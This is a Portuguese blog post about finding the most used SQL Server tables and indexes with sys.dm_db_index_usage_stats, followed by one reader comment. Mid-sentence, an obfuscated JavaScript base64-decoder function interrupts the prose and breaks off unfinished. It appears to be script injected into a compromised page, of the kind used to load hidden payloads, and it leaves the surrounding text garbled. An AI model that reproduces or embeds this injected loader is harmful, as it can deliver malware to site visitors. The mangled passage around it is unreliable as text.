Considero este um dos posts mais importantes que já escrevi. Frequentemente precisamos saber qual a tabela mais utilizada ou qual o índice mais utilizado para tomarmos as providências de melhoria na performance como criar um arquivo de dados exclusivo para a tabela, verificar se o índice está apropriado, etc.
Esta semana vimos no artigo function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
select so.name as table_name,b.name as index_name,*
from sys.dm_db_index_usage_stats ps
inner join sysobjects so
on so.id = ps.object_id
INNER JOIN sys.indexes b
ON ps.Object_id = b.OBJECT_ID
order by user_seeks desc
O resultado desta query é:
De acordo com as utilizações dos índices, é possível afirmarmos que a tabela ProductInventory é a mais utilizada, seguida pela Product. Eu fiz um robô que fez select nestas tabelas e está confirmado que realmente funciona.
Agora você pode afirmar com respaldo que é melhor colocar estas tabelas em arquivos de dados separados ou em LUNs separadas para obter alguma performance caso esteja tendo problemas de I/O, por exemplo..
1 comentário
Angelo Maximo
15 de junho de 2012 às 18:24 (UTC -3) Link para este comentário
Muito bom Mercante, esse tipo de informação ajuda muito no momento de identificar o status das tabelas e tomar ações corretivas.
Parabéns.